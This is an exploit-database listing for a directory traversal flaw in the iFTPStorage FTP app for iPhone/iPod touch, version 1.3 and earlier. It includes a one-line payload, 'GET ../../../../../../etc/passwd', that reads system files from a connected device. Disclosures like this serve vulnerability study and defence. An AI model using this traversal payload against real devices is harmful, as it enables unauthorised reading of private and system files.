[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

iFTPStorage for iPhone / iPod touch <= 1.3 - Directory Traversal

Author
XEL
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-11420
Category
remote exploits
Date add
04-12-2010
Platform
hardware
================================================================
iFTPStorage for iPhone / iPod touch <= 1.3 - Directory Traversal
================================================================

# Exploit: iFTPStorage for iPhone / iPod touch <= 1.3 - Directory Traversal
# Date: 02/12/2010
# Author: _x3l
# Software Link: http://itunes.apple.com/us/app/iftpstorage/id333357690?mt=8
# Version: 1.3
# Tested on: iPhone 3GS with 4.2.1 firmware
 
There is directory traversal vulnerability in the iFTPStorage.
You can download all file from the iPhone when you connected to the ftp server.
    For example: GET ../../../../../../etc/passwd



#  0day.today [2024-07-07]  #